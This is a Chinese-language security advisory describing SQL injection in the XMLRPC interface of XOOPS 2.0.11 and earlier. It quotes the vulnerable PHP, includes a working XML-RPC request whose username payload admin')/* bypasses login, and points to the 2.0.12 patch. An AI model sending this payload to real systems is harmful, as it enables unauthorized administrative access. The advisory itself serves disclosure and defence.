Xoops XMLRPC多个SQL注入漏洞
2005-08-18
系统编号:
WAVDB-00525
BUGTRAQ: 14094
影响版本:
Xoops <= 2.0.11
程序介绍:
XOOPS是非常流行的动态Web内容管理系统,用面向对象的PHP编写。
漏洞分析:
XOOPS中存在多个SQL注入漏洞,起因是对xoops的XMLRPC缺少检查。以下bloggerapi.php文件中的代码用于处理所有入站的XMLRPC请求:
function getUserInfo()
{
if (!$this->_checkUser($this->params[1], $this->params[2])) {
$this->response->add(new XoopsXmlRpcFault(104));
} else {
$struct = new XoopsXmlRpcStruct();
$struct->add('nickname', new
XoopsXmlRpcString($this->user->getVar('uname')));
$struct->add('userid', new
XoopsXmlRpcString($this->user->getVar('uid')));
$struct->add('url', new
XoopsXmlRpcString($this->user->getVar('url')));
$struct->add('email', new
XoopsXmlRpcString($this->user->getVar('email')));
$struct->add('lastname', new XoopsXmlRpcString(''));
$struct->add('firstname', new
XoopsXmlRpcString($this->user->getVar('name')));
$this->response->add($struct);
}
}
_checkUser函数实际上只是XMLRPC server的封装,因为参数最终传递给了XOOPS核心函数loginUser(),导致SQL注入攻击。
成功利用这个漏洞的攻击者可能获得管理权限访问。
漏洞利用:
- <?xml version= 1.0 ?>
- <methodCall>
- <methodName>blogger.getPost</methodName>
- <params>
- <param>
- <value><string></string></value>
- </param>
- <param>
- <value><string></string></value>
- </param>
- <param>
- <value><string>admin')/*</string></value>
- </param>
- <param>
- <value><string>passwordfield</string></value>
- </param>
- <param>
- <value><string></string></value>
- </param>
- </params>
- </methodCall>
解决方案:
厂商补丁:
Xoops
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载2.0.12版本:
http://prdownloads.sourceforge.n ... 2.0.12.zip?download
信息来源:
<*来源:James Bercegay (security@gulftech.org)
Jan Pederson
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112006318512991&w=2
*>